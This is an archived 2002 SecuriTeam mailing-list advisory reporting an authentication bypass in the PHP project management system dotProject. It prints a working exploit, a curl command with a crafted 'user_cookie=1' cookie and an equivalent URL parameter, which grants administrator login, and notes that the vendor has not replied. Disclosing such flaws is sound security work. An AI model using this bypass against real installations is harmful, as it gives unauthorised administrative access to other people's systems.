[UNIX] PHP dotProject Vulnerable to Authentication Bypassing

From: support@securiteam.com
Date: 07/30/02 

From: support@securiteam.com
To: list@securiteam.com
Date: Tue, 30 Jul 2002 08:38:16 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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  PHP dotProject Vulnerable to Authentication Bypassing
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SUMMARY

 <http://www.dotproject.org/index.php> dotProject is web base project
management system. A security vulnerability in the product allows anyone
to bypass the authentication mechanism and login as an Administrator.

DETAILS

Exploit:
It was rather simple to exploit, user may send a crafted cookie like:
curl -b user_cookie=1 http://server/project/index.php?m=projects

Or simply append user_cookie=1 in any URL:
http://server/project/index.php?m=projects&user_cookie=1

Vendor response:
Vendor has been contacted on 24/7/2002 but no reply has been received.

ADDITIONAL INFORMATION

The information has been provided by
<mailto:pokleyzz@scan-associates.net> pokleyzz,
<mailto:sk@scan-associates.net> sk, and
<mailto:shaharil@scan-associates.net> shaharil.

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